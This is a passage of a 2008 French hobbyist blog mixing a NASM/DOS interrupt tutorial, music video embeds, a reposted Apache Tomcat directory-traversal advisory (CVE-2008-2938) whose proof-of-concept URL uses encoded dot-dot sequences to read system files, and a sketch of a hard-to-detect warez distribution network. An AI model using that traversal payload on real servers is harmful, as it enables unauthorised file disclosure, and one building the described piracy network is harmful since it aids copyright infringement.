rgb(255, 0, 0);font-family:courier new;" >; On appelle l'interruption 0x21</span></span><br /></div><br />Petite table des Interruptions DOS, non-exhaustive et reprise des cours de Haypo:<br /><br /><div style="border: 1px solid white; padding: 2px;"><br />* 01h: Lancement d'un programme en mode pas-à-pas (permet de le débogueur).<br />* 02h: Interruption non masquable.<br />* 03h: Erreur de rupture.<br />* 04h: Erreur de dépassement (par calcul, exemple : "mov al, 200 ; add al,140" -> 340 > 255 !!!).<br />* 05h "Imprime écran", imprime une copie de l'écran en mode texte.<br />* 08h: Horloge tournant à 18.6 clics/seconde.<br />* 09h: Lecture du clavier. La touche est codée avec un 'code clavier' (scan code en anglais) traduit en code standart ASCII par l'interruption 16h.<br />* 0Bh: Gestion du port COM2.<br />* 0Ch: Gestion du port COM1.<br />* 10h: Gestion de la carte vidéo.<br />* 11h : Liste de configuration (mémoire, nombre de ports COM, co-processeur, ...).<br />* 12h: Taille de la mémoire basse (640 Ko maximum).<br />* 13h: Gestion des différents disques.<br />* 14h: Gestion de l'interface série (ports COM, voir les interruptions 0Bh et 0Ch).<br />* 15h: Manette de jeu, cassette et TopView.<br />* 16h: Conversion du code de la touche (lu par l'interruption 09h) en code standart ASCII.<br />* 17h: Gestion de l'imprimante.<br />* 18h: Rom BASIC.<br />* 19h: Rountine de chargement du DOS.<br />* 1Ah: Gestion de l'heure réelle.<br />* 1Bh: Surveille la pression de la combinaison de touche 'CTRL + C'.<br />* 1Ch: Chronomètre clic/clic à la vitesse de l'horloge 08h : 18.6 Hz. Sa valeur est stockée à l'emplacement 0040h: 0060h.<br />* 1Dh: La table d'initialisation vidéo.<br />* 1Eh: La table de paramètre des disquettes.<br />* 1Fh: La table des caractères graphiques.<br />* 20h: L'interruption DOS : Fin d'un programme au format COM (le format EXE est largement plus répendu aujourd'hui).<br />* 21h: L'interruption DOS : Fonctions universelles (disque dur, horloge, ...).<br />* 22h: L'interruption DOS : Adresse de fin de processus.<br />* 23h: L'interruption DOS : Surveille CTRL + PAUSE (ou CTRL + BREAK).<br />* 24h: L'interruption DOS : Erreur fatale d'un vecteur d'interruption.<br />* 25h: L'interruption DOS : Lecture directe d'un disque.<br />* 26h: L'interruption DOS : Ecriture directe sur un disque.<br />* 27h: L'interruption DOS : Programmes résidents.<br />* 28h: Fin d'un programme restant résidant en mémoire.<br />* 2Fh: Interruption pour plusieurs sous programmes. Gestion du réseau, driver CD-Rom MSCDEX, ...<br /></div><br /><br />Il y en a apparement une liste plus fournie ici: http://www.delorie.com/djgpp/doc/rbinter/<br /><br />Regardons maintenant le schema simplifié du PSP:<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_orYbpGQL4hA/SKHQSekNAcI/AAAAAAAAAAo/WN7iQX2cE4U/s1600-h/table.png"><img alt="" border="0" id="BLOGGER_PHOTO_ID_5233693257842360770" src="http://2.bp.blogspot.com/_orYbpGQL4hA/SKHQSekNAcI/AAAAAAAAAAo/WN7iQX2cE4U/s400/table.png" style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" /></a><br /><br />Ben maintenant, on à écrit un programme en assembleur Nasm, va peut être finir par falloir... l'assembler justement... Comment on fait? On cherche :]<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_orYbpGQL4hA/SKRGbpSVEsI/AAAAAAAAAAw/d7cniCCjzLQ/s1600-h/1.PNG"><img alt="" border="0" id="BLOGGER_PHOTO_ID_5234386107664503490" src="http://2.bp.blogspot.com/_orYbpGQL4hA/SKRGbpSVEsI/AAAAAAAAAAw/d7cniCCjzLQ/s400/1.PNG" style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" /></a><br /><br />So, pour assembler, on va tout simplement faire<br /><br /><span style="font-style: italic;">nasm programme1.asm -o programme1.com</span><br /><br />Wahou, ca y est, je pense que maintenant nous sommes de vrais fous! La suite un de ces 4 :p<br />Byebye <div style='clear: both;'></div> </div> <div class='post-footer'> <div class='post-footer-line post-footer-line-1'> <span class='post-author vcard'> Publié par <span class='fn' itemprop='author' itemscope='itemscope' itemtype='http://schema.org/Person'> <meta content='https://www.blogger.com/profile/02076869472563704465' itemprop='url'/> <a class='g-profile' href='https://www.blogger.com/profile/02076869472563704465' rel='author' title='author profile'> <span itemprop='name'>sm0k</span> </a> </span> </span> <span class='post-timestamp'> </span> <span class='reaction-buttons'> </span> <span class='post-comment-link'> <a class='comment-link' href='https://www.blogger.com/comment.g?blogID=1278381685061151760&postID=2341322721637642417' onclick=''> Aucun commentaire: </a> </span> <span class='post-backlinks post-comment-link'> </span> <span class='post-icons'> </span> <div class='post-share-buttons goog-inline-block'> </div> </div> <div class='post-footer-line post-footer-line-2'> <span class='post-labels'> </span> </div> <div class='post-footer-line post-footer-line-3'> <span class='post-location'> </span> </div> </div> </div> </div> <div class='post-outer'> <div class='post hentry uncustomized-post-template' itemprop='blogPost' itemscope='itemscope' itemtype='http://schema.org/BlogPosting'> <meta content='1278381685061151760' itemprop='blogId'/> <meta content='4696385744545310122' itemprop='postId'/> <a name='4696385744545310122'></a> <h3 class='post-title entry-title' itemprop='name'> <a href='http://plasticsouptaste.blogspot.com/2008/08/surf-session-du-mardi-riz-dans-les.html'>Surf Session du Mardi, riz dans les raviolis...</a> </h3> <div class='post-header'> <div class='post-header-line-1'></div> </div> <div class='post-body entry-content' id='post-body-4696385744545310122' itemprop='description articleBody'> Ca c'est supayr, pis ya des zanimaux:<br /><br /><object height="344" width="425"><param name="movie" value="http://www.youtube.com/v/n1wnOUH2jk8&hl=en&fs=1"></param><param name="allowFullScreen" value="true"></param><embed src="http://www.youtube.com/v/n1wnOUH2jk8&hl=en&fs=1" type="application/x-shockwave-flash" allowfullscreen="true" width="425" height="344"></embed></object><br />Bat For Lashes - What's a girl to do<br /><br />Une petite pour un des mes amis qu'il n'est pas la peine de citer, vu que je suis le seul a le connaitre:<br /><br /><div><object height="307" width="420"><param name="movie" value="http://www.dailymotion.com/swf/k1RuwzzrJGNRWrdFD&colors=background:B32424;&related=1"></param><param name="allowFullScreen" value="true"></param><param name="allowScriptAccess" value="always"></param><embed src="http://www.dailymotion.com/swf/k1RuwzzrJGNRWrdFD&colors=background:B32424;&related=1" type="application/x-shockwave-flash" width="420" height="307" allowFullScreen="true" allowScriptAccess="always"></embed></object><br /><b><a href="http://www.dailymotion.com/video/x14jt_primus-wynonas-big-brown-beaver_music">Primus - Wynona's Big Brown Beaver</a></b><br /><i>envoyé par <a href="http://www.dailymotion.com/bunglefever">bunglefever</a></i></div><br /><br />Vieux, moche, pas trop connu... Légendaire:<br /><br /><object height="344" width="425"><param name="movie" value="http://www.youtube.com/v/X9dAEbuNFQE&hl=en&fs=1"></param><param name="allowFullScreen" value="true"></param><embed src="http://www.youtube.com/v/X9dAEbuNFQE&hl=en&fs=1" type="application/x-shockwave-flash" allowfullscreen="true" width="425" height="344"></embed></object><br />Hallucinogen - LSD (Album Twisted)<br /><br />Et puis bien sur... LE grand classique :<br /><br /><div><object height="365" width="420"><param name="movie" value="http://www.dailymotion.com/swf/k4VPXX6kgLozYR1nng&colors=background:B32424;&related=1"></param><param name="allowFullScreen" value="true"></param><param name="allowScriptAccess" value="always"></param><embed src="http://www.dailymotion.com/swf/k4VPXX6kgLozYR1nng&colors=background:B32424;&related=1" type="application/x-shockwave-flash" width="420" height="365" allowFullScreen="true" allowScriptAccess="always"></embed></object><br /><b><a href="http://www.dailymotion.com/video/x7186_prodigy-smack-my-bitch-up_music">Prodigy - Smack My Bitch Up</a></b><br /><i>envoyé par <a href="http://www.dailymotion.com/napolitz">napolitz</a></i></div><br /><br />A part ca il s'en passe un peu sur le net, attention aux zyeux les emo geeks transpirants (je suis pas dans le tas) : <a href="http://www.jeuxvideo.com/news/2008/00028040-une-nouvelle-lara-croft.htm">C'est ICI</a>.<br /><br />Un dernier pour se dire au revoir:<br /><br /><object height="344" width="425"><param name="movie" value="http://www.youtube.com/v/Z6hL6fkJ1_k&hl=en&fs=1"></param><param name="allowFullScreen" value="true"></param><embed src="http://www.youtube.com/v/Z6hL6fkJ1_k&hl=en&fs=1" type="application/x-shockwave-flash" allowfullscreen="true" width="425" height="344"></embed></object><br />Infected Msuhroom - Becoming Insane <div style='clear: both;'></div> </div> <div class='post-footer'> <div class='post-footer-line post-footer-line-1'> <span class='post-author vcard'> Publié par <span class='fn' itemprop='author' itemscope='itemscope' itemtype='http://schema.org/Person'> <meta content='https://www.blogger.com/profile/02076869472563704465' itemprop='url'/> <a class='g-profile' href='https://www.blogger.com/profile/02076869472563704465' rel='author' title='author profile'> <span itemprop='name'>sm0k</span> </a> </span> </span> <span class='post-timestamp'> </span> <span class='reaction-buttons'> </span> <span class='post-comment-link'> <a class='comment-link' href='https://www.blogger.com/comment.g?blogID=1278381685061151760&postID=4696385744545310122' onclick=''> Aucun commentaire: </a> </span> <span class='post-backlinks post-comment-link'> </span> <span class='post-icons'> </span> <div class='post-share-buttons goog-inline-block'> </div> </div> <div class='post-footer-line post-footer-line-2'> <span class='post-labels'> </span> </div> <div class='post-footer-line post-footer-line-3'> <span class='post-location'> </span> </div> </div> </div> </div> </div></div> <div class="date-outer"> <h2 class='date-header'><span>lundi 11 août 2008</span></h2> <div class="date-posts"> <div class='post-outer'> <div class='post hentry uncustomized-post-template' itemprop='blogPost' itemscope='itemscope' itemtype='http://schema.org/BlogPosting'> <meta content='1278381685061151760' itemprop='blogId'/> <meta content='4537307698440988315' itemprop='postId'/> <a name='4537307698440988315'></a> <h3 class='post-title entry-title' itemprop='name'> <a href='http://plasticsouptaste.blogspot.com/2008/08/haha-saloperie-de-tomcat.html'>Haha! Saloperie de Tomcat...</a> </h3> <div class='post-header'> <div class='post-header-line-1'></div> </div> <div class='post-body entry-content' id='post-body-4537307698440988315' itemprop='description articleBody'> ... c'est de la merde, je lacherais jamais l'affaire :p<br /><br /><div style="border:1px solid white;font-size:10px;padding:2px;"><br />Title: Apache Tomcat Directory Traversal Vulnerability<br />Author: Simon Ryeo(bar4mi (at) gmail.com, barami (at) ahnlab.com)<br />Severity: High<br />Impact: Remote File Disclosure<br />Vulnerable Version: prior to 6.0.18<br />Solution:<br /> - Best Choice: Upgrade to 6.0.18 (http://tomcat.apache.org)<br /> - Hot fix: Disable allowLinking or do not set URIencoding to utf8 in order to avoid this vulnerability.<br /> - Tomcat 5.5.x and 4.1.x Users: The fix will be included in the next releases. Please apply the hot fix until next release.<br />References:<br /> - http://tomcat.apache.org/security.html<br /> - http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2938<br />History:<br /> - 07.17.2008: Initiate notify (To Apache Security Team)<br /> - 08.02.2008: Responsed this problem fixed and released new version<br /> - 08.05.2008: Notify disclosure (To Apache Tomcat Security Team)<br /> - 08.10.2008: Responsed with some suggestions.<br /><br />Description<br />As Apache Security Team, this problem occurs because of JAVA side.<br />If your context.xml or server.xml allows 'allowLinking'and 'URIencoding' as<br />'UTF-8', an attacker can obtain your important system files.(e.g. /etc/passwd)<br /><br />Exploit<br />If your webroot directory has three depth(e.g /usr/local/wwwroot), An<br />attacker can access arbitrary files as below. (Proof-of-concept)<br /><br />http://www.target.com/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/foo/bar<br /><br /><a href="http://www.milw0rm.com/exploits/6229"># milw0rm.com [2008-08-11]</a></div><br /><br />Et puis, tant qu'on parle de Milw0rm, un petit truc que j'avais plutôt bien aimé : <a href="http://www.milw0rm.com/video/watch.php?id=70">ICI</a> <div style='clear: both;'></div> </div> <div class='post-footer'> <div class='post-footer-line post-footer-line-1'> <span class='post-author vcard'> Publié par <span class='fn' itemprop='author' itemscope='itemscope' itemtype='http://schema.org/Person'> <meta content='https://www.blogger.com/profile/02076869472563704465' itemprop='url'/> <a class='g-profile' href='https://www.blogger.com/profile/02076869472563704465' rel='author' title='author profile'> <span itemprop='name'>sm0k</span> </a> </span> </span> <span class='post-timestamp'> </span> <span class='reaction-buttons'> </span> <span class='post-comment-link'> <a class='comment-link' href='https://www.blogger.com/comment.g?blogID=1278381685061151760&postID=4537307698440988315' onclick=''> Aucun commentaire: </a> </span> <span class='post-backlinks post-comment-link'> </span> <span class='post-icons'> </span> <div class='post-share-buttons goog-inline-block'> </div> </div> <div class='post-footer-line post-footer-line-2'> <span class='post-labels'> </span> </div> <div class='post-footer-line post-footer-line-3'> <span class='post-location'> </span> </div> </div> </div> </div> <div class='post-outer'> <div class='post hentry uncustomized-post-template' itemprop='blogPost' itemscope='itemscope' itemtype='http://schema.org/BlogPosting'> <meta content='http://3.bp.blogspot.com/_orYbpGQL4hA/SKAbJvQOeKI/AAAAAAAAAAc/l_BzcS-Df_w/s400/Dessin1.png' itemprop='image_url'/> <meta content='1278381685061151760' itemprop='blogId'/> <meta content='1157735334453216251' itemprop='postId'/> <a name='1157735334453216251'></a> <h3 class='post-title entry-title' itemprop='name'> <a href='http://plasticsouptaste.blogspot.com/2008/08/un-peu-de-srieux.html'>Un peu de SéRiEuX?</a> </h3> <div class='post-header'> <div class='post-header-line-1'></div> </div> <div class='post-body entry-content' id='post-body-1157735334453216251' itemprop='description articleBody'> Un petit truc auquel j'ai pensé.... Un machin pour lequel faudrait un peu de gens motivés en fait (des coderz hein, les autres, crevez).<br /><br />Alors voila, je pense qu'il est possible de monter un réseau warez pratiquement indétectable et cela assez simplement :]<br /><br />Le <span style="font-weight:bold;">principe</span> :p :<br /><br /> - Chaque fichier proposé est chiffré dans son intégralité.<br /> - Le fichier chiffré est splité en une multitude de petits fichiers (disons que 50 pour un fichier de 700 Mo saybien).<br /> - On génère des noms de fichiers aléatoires pour ces fichiers. <br /> - Les fichiers sont répartis sur une multitude de serveurs Web et FTP, l'adresse de chaque fragment est consignée en base de données et un fichier rassemblant des informations importantes est généré (adresse de chaque fragment, nombre de fragments, checksum...).<br /> - Ce fichier est stocké sur un serveur Web et indexé par un moteur de recherche.<br /><br /><span style="font-weight:bold;">Dans la pratique</span>, comment on leech? :D<br /><br />Il faudra tout d'abord être inscrit (clef de chiffrement oblige). Et la j'ai fait un schéma pour expliquer la suite!!! (Je me dématérialise complètement devant la toute puissance de MS Viso)<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_orYbpGQL4hA/SKAbJvQOeKI/AAAAAAAAAAc/l_BzcS-Df_w/s1600-h/Dessin1.png"><img alt="" border="0" id="BLOGGER_PHOTO_ID_5233212621121812642" src="http://3.bp.blogspot.com/_orYbpGQL4hA/SKAbJvQOeKI/AAAAAAAAAAc/l_BzcS-Df_w/s400/Dessin1.png" style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" /></a><br /><br /><span style="font-weight:bold;">Alors</span>...<br /><br /> 1 - Le client récupère le fichier via l'interface Web<br /> 2 - Le fichier est ouvert par un exécutable (fourni sur le site Web) <br /> 3 - Cet exécutable va vérifier la disponibilité des fragments et leurs adresses <br /> 4 - Le programme récupère ensuite la liste des adresses des fragments et met à jour le fichier de départ sur le serveur Web, si nécessaire.<br /> 5 - Le programme télécharge chaque fragment du fichier.<br /> 6 - Les fragments sont rassemblés et déchiffrés.<br /><br />[...] A suivre :] <div style='clear: both;'></div> </div> <div class='post-footer'> <div class='post-footer-line post-footer-line-1'> <span class='post-author vcard'> Publié par <span class='fn' itemprop='author' itemscope='itemscope' itemtype='http://schema.org/Person'> <meta content='https://www.blogger.com/profile/02076869472563704465' itemprop='url'/> <a class='g-profile' href='https://www.blogger.com/profile/02076869472563704465' rel='author' title='author profile'> <span itemprop='name'>sm0k</span> </a> </span> </span> <span class='post-timestamp'> </span> <span class='reaction-buttons'> </span> <span class='post-comment-link'> <a class='comment-link' href='https://www.blogger.com/comment.g?blogID=1278381685061151760&postID=1157735334453216251' onclick=''> 2 commentaires: </a> </span> <span class='post-backlinks post-comment-link'> </span> <span class='post-icons'> </span> <div class='post-share-buttons goog-inline-block'> </div> </div> <div class='post-footer-line post-footer-line-2'> <span class='post-labels'> </span> </div> <div class='post-footer-line post-footer-line-3'> <span class='post-location'> </span> </div> </div> </div> </div> <div class='post-outer'> <div class='post hentry uncustomized-post-template' itemprop='blogPost' itemscope='itemscope' itemtype='http://schema.org/BlogPosting'> <meta content='1278381685061151760' itemprop='blogId'/> <meta content='6361538369337332518' itemprop='postId'/> <a name='6361538369337332518'></a> <h3 class='post-title entry-title' itemprop='name'> <a href='http://plasticsouptaste.blogspot.com/2008/08/semaine-1-jour-1-dja-plus-de-vivres.html'>Semaine 1, Jour 1 : Déja plus de vivres...</a> </h3> <div class='post-header'> <div class='post-header-line-1'></div> </div> <div class='post-body entry-content' id='post-body-6361538369337332518' itemprop='description articleBody'> ... reste une tablette de chocolat<br /><br />Spécialement pour mon AzTeK préféré:<br /><br /><object height="344" width="425"><param name="movie" value="http://www.youtube.com/v/mVFbMgTTmcQ&hl=en&fs=1"></param><param name="allowFullScreen" value="true"></param><embed src="http://www.youtube.com/v/mVFbMgTTmcQ&hl=en&fs=1" type="application/x-shockwave-flash" allowfullscreen="true" width="425" height="344"></embed></object><br/>DJ Kash - Chocolat<br /><br />"<span style="font-style:italic;">Le rap était nul, on a fait redevenir ca bien</span>" :<br /><br /><object height="344" width="425"><param name="movie" value="http://www.youtube.com/v/4lsOLjJ29UE&hl=en&fs=1"></param><param name="allowFullScreen" value="true"></param><embed src="http://www.youtube.com/v/4lsOLjJ29UE&hl=en&fs=1" type="application/x-shockwave-flash" allowfullscreen="true" width="425" height="344"></embed></object><br/>TTC - Végétarienne <div style='clear: both;'></div> </div> <div class='post-footer'> <div class='post-footer-line post-footer-line-1'> <span class='post-author vcard'> Publié par <span class='fn' itemprop='author' itemscope='itemscope' itemtype='http://schema.org/Person'> <meta content='https://www.blogger.com/profile/02076869472563704465' itemprop='url'/> <a class='g-profile' href='https://www.blogger.com/profile/02076869472563704465' rel='author' title='author profile'> <span itemprop='name'>sm0k</span> </a> </span> </span> <span class='post-timestamp'> </span> <span class='reaction-buttons'> </span> <span class='post-comment-link'> <a class='comment-link' href='https://www.blogger.com/comment.g?blogID=1278381685061151760&postID=6361538369337332518' onclick=''> Aucun commentaire: </a> </span> <span class='post-backlinks post-comment-link'> </span> <span class='post-icons'> </span> <div class='post-share-buttons goog-inline-block'> </div> </div> <div class='post-footer-line post-footer-line-2'> <span class='post-labels'> </span> </div> <div class='post-footer-line post-footer-line-3'> <span class='post-location'> </span> </div> </div> </div> </div> </div></div> <div class="date-outer"> <h2 class='date-header'><span>dimanche 10 août 2008</span></h2> <div class="date-posts"> <div class='post-outer'> <div class='post hentry uncustomized-post-template' itemprop='blogPost' itemscope='itemscope' itemtype='http://schema.org/BlogPosting'> <meta content='1278381685061151760' itemprop='blogId'/> <meta content='5873173673915449836' itemprop='postId'/> <a name='5873173673915449836'></a> <h3 class='post-title entry-title' itemprop='name'> <a href='http://plasticsouptaste.blogspot.com/2008/08/ouverturage-dun-blog-0o.html'>Ouverturage d'un blog 0o</a> </h3> <div class='post-header'> <div class='post-header-line-1'></div> </div> <div class='post-body entry-content' id='post-body-5873173673915449836' itemprop='description articleBody'> Je ne sait trop quoi faire en ce dimanche (matin?) d'Aout, alors je me dis pourquoi pas ouvrir un blogalacon comme tout le monde? Hum voila c'est fait et je me retrouve obligé de publier un premier billet -_- J'ai faim, mal au crane et je sais pas quoi écrire, donc, je vais poster ce que je suis en train d'écouter, ca ira plus vite.<br />Bon... c'est usé, on y moleste des grands mères et des représentants des forces de l'ordre, mais l'effet musical recherché est présent :p<br /><br /><span style="font-style: italic;">"Un clip indiffusable à la TV pour un titre indiffusable en radio"</span><br /><br /><object height="344" width="425"><param name="movie" value="http://www.youtube.com/v/GsmzNB_eXek&hl=en&fs=1"></param><param name="allowFullScreen" value="true"></param><embed src="http://www.youtube.com/v/GsmzNB_eXek&hl=en&fs=1" type="application/x-shockwave-flash" allowfullscreen="true" width="425" height="344"></embed></object><br/>Justice - Stress <div style='clear: both;'></div> </div> <div class='post-footer'> <div class='post-footer-line post-footer-line-1'> <span class='post-author vcard'> Publié par <span class='fn' itemprop='author' itemscope='itemscope' itemtype='http://schema.org/Person'> <meta content='https://www.blogger.com/profile/02076869472563704465' itemprop='url'/> <a class='g-profile' href='https://www.blogger.com/profile/02076869472563704465' rel='author' title='author profile'> <span itemprop='name'>sm0k</span> </a> </span> </span> <span class='post-timestamp'> </span> <span class='reaction-buttons'> </span> <span class='post-comment-link'> <a class='comment-link' href='https://www.blogger.com/comment.g?blogID=1278381685061151760&postID=5873173673915449836' onclick=''> 1 commentaire: </a> </span> <span class='post-backlinks post-comment-link'> </span> <span class='post-icons'> </span> <div class='post-share-buttons goog-inline-block'> </div> </div> <div class='post-footer-line post-footer-line-2'> <span class='post-labels'> </span> </div> <div class='post-footer-line post-footer-line-3'> <span class='post-location'> </span> </div> </div> </div> </div> </div></div> </div> <div class='blog-pager' id='blog-pager'> <span id='blog-pager-newer-link'> <a class='blog-pager-newer-link' href='http://plasticsouptaste.blogspot.com/search?updated-max=2010-05-06T08:12:00%2B02:00&max-results=7&reverse-paginate=true' id='Blog1_blog-pager-newer-link' title='Articles plus récents'>Articles plus récents</a> </span> <a class='home-link' href='http://plasticsouptaste.blogspot.com/'>Accueil</a> </div> <div class='clear'></div> <div class='blog-feeds'> <div class='feed-links'> Inscription à : <a class='feed-link' href='http://plasticsouptaste.blogspot.com/feeds/posts/default' target='_blank' type='application/atom+xml'>Articles (Atom)</a> </div> </div> <script type='text/javascript'> window.___gcfg = { 'lang': 'fr' }; </script> </div></div> </div> </div> <div class='column-left-outer'> <div class='column-left-inner'> <aside> </aside> </div> </div> <div class='column-right-outer'> <div class='column-right-inner'> <aside> </aside> </div> </div> </div> <div style='clear: both'></div> <!-- columns --> </div> <!-- main --> </div> </div> <div class='main-cap-bottom cap-bottom'> <div class='cap-left'></div> <div class='cap-right'></div> </div> </div> <footer> <div class='footer-outer'> <div class='footer-cap-top cap-top'> <div class='cap-left'></div> <div class='cap-right'></div> </div> <div class='fauxborder-left footer-fauxborder-left'> <div class='fauxborder-right footer-fauxborder-right'></div> <div class='region-inner footer-inner'> <div class='foot no-items section' id='footer-1'></div> <table border='0' cellpadding='0' cellspacing='0' class='section-columns columns-3'> <tbody> <tr> <td class='first columns-cell'> <div class='foot section' id='footer-2-1'><div class='widget LinkList' data-version='1' id='LinkList1'> <h2>Links</h2> <div class='widget-content'> <ul> <li><a href='http://geo0w.blogspot.com/'>Geo's blog</a></li> <li><a href='http://www.ghostsinthestack.org/'>Ghosts In The Stack</a></li> <li><a href='http://www.ivanlef0u.tuxfamily.org/'>Ivanlef0u</a></li> <li><a href='http://project.kalkulators.org/'>Kalkulator's Knights Community</a></li> <li><a href='http://sh4ka.fr/'>sh4ka.fr</a></li> <li><a href='http://www.shell-storm.org/'>Shell-Storm</a></li> <li><a href='http://www.siliciumcorp.com/'>SiliciumCorp</a></li> <li><a href='http://xylitol.tapz.eu/'>Site de Xylitol</a></li> <li><a href='http://blog.stalkr.net/'>Stalkr's Blog</a></li> </ul> <div class='clear'></div> <span class='widget-item-control'> <span class='item-control blog-admin'> <a class='quickedit' href='//www.blogger.com/rearrange?blogID=1278381685061151760&widgetType=LinkList&widgetId=LinkList1&action=editWidget§ionId=footer-2-1' onclick='return _WidgetManager._PopupConfig(document.getElementById("LinkList1"));' target='configLinkList1' title='Modifier'> <img alt='' height='18' src='https://resources.blogblog.com/img/icon18_wrench_allbkg.png' width='18'/> </a> </span> </span> <div class='clear'></div> </div> </div></div> </td> <td class='columns-cell'> <div class='foot section' id='footer-2-2'><div class='widget BlogArchive' data-version='1' id='BlogArchive1'> <h2>Archives du blog</h2> <div class='widget-content'> <div id='ArchiveList'> <div id='BlogArchive1_ArchiveList'> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ►  </span> </a> <a class='post-count-link' href='http://plasticsouptaste.blogspot.com/2012/'> 2012 </a> <span class='post-count' dir='ltr'>(3)</span> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ►  </span> </a> <a class='post-count-link' href='http://plasticsouptaste.blogspot.com/2012/03/'> mars </a> <span class='post-count' dir='ltr'>(2)</span> </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ►  </span> </a> <a class='post-count-link' href='http://plasticsouptaste.blogspot.com/2012/02/'> février </a> <span class='post-count' dir='ltr'>(1)</span> </li> </ul> </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ►  </span> </a> <a class='post-count-link' href='http://plasticsouptaste.blogspot.com/2011/'> 2011 </a> <span class='post-count' dir='ltr'>(2)</span> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ►  </span> </a> <a class='post-count-link' href='http://plasticsouptaste.blogspot.com/2011/08/'> août </a> <span class='post-count' dir='ltr'>(1)</span> </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ►  </span> </a> <a class='post-count-link' href='http://plasticsouptaste.blogspot.com/2011/01/'> janvier </a> <span class='post-count' dir='ltr'>(1)</span> </li> </ul> </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ►  </span> </a> <a class='post-count-link' href='http://plasticsouptaste.blogspot.com/2010/'> 2010 </a> <span class='post-count' dir='ltr'>(7)</span> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ►  </span> </a> <a class='post-count-link' href='http://plasticsouptaste.blogspot.com/2010/12/'> décembre </a> <span class='post-count' dir='ltr'>(1)</span> </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ►  </span> </a> <a class='post-count-link' href='http://plasticsouptaste.blogspot.com/2010/11/'> novembre </a> <span class='post-count' dir='ltr'>(2)</span> </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ►  </span> </a> <a class='post-count-link' href='http://plasticsouptaste.blogspot.com/2010/05/'> mai </a> <span class='post-count' dir='ltr'>(1)</span> </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ►  </span> </a> <a class='post-count-link' href='http://plasticsouptaste.blogspot.com/2010/04/'> avril </a> <span class='post-count' dir='ltr'>(2)</span> </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ►  </span> </a> <a class='post-count-link' href='http://plasticsouptaste.blogspot.com/2010/03/'> mars </a> <span class='post-count' dir='ltr'>(1)</span> </li> </ul> </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ►  </span> </a> <a class='post-count-link' href='http://plasticsouptaste.blogspot.com/2009/'> 2009 </a> <span class='post-count' dir='ltr'>(4)</span> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ►  </span> </a> <a class='post-count-link' href='http://plasticsouptaste.blogspot.com/2009/03/'> mars </a> <span class='post-count' dir='ltr'>(2)</span> </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ►  </span> </a> <a class='post-count-link' href='http://plasticsouptaste.blogspot.com/2009/01/'> janvier </a> <span class='post-count' dir='ltr'>(2)</span> </li> </ul> </li> </ul> <ul class='hierarchy'> <li class='archivedate expanded'> <a class='toggle' href='javascript:void(0)'> <span class='zippy toggle-open'> ▼  </span> </a> <a class='post-count-link' href='http://plasticsouptaste.blogspot.com/2008/'> 2008 </a> <span class='post-count' dir='ltr'>(20)</span> <ul class='hierarchy'> <li class='archivedate expanded'> <a class='toggle' href='javascript:void(0)'> <span class='zippy toggle-open'> ▼  </span> </a> <a class='post-count-link' href='http://plasticsouptaste.blogspot.com/2008/11/'> novembre </a> <span class='post-count' dir='ltr'>(1)</span> <ul class='posts'> <li><a href='http://plasticsouptaste.blogspot.com/2008/11/dead-or-alive.html'>Dead Or Alive?</a></li> </ul> </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ►  </span> </a> <a class='post-count-link' href='http://plasticsouptaste.blogspot.com/2008/10/'> octobre </a> <span class='post-count' dir='ltr'>(1)</span> <ul class='posts'> <li><a href='http://plasticsouptaste.blogspot.com/2008/10/pour-info.html'>Pour info...</a></li> </ul> </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ►  </span> </a> <a class='post-count-link' href='http://plasticsouptaste.blogspot.com/2008/09/'> septembre </a> <span class='post-count' dir='ltr'>(7)</span> <ul class='posts'> <li><a href='http://plasticsouptaste.blogspot.com/2008/09/nouvelle-bannire.html'>Nouvelle Bannière</a></li> <li><a href='http://plasticsouptaste.blogspot.com/2008/09/md5-online-cracker-by-tr00ps.html'>MD5 Online Cracker - By Tr00ps</a></li> <li><a href='http://plasticsouptaste.blogspot.com/2008/09/arp-reverse-like.html'>ARP Reverse Like</a></li> <li><a href='http://plasticsouptaste.blogspot.com/2008/09/nasm-pt2.html'>NASM Pt.2</a></li> <li><a 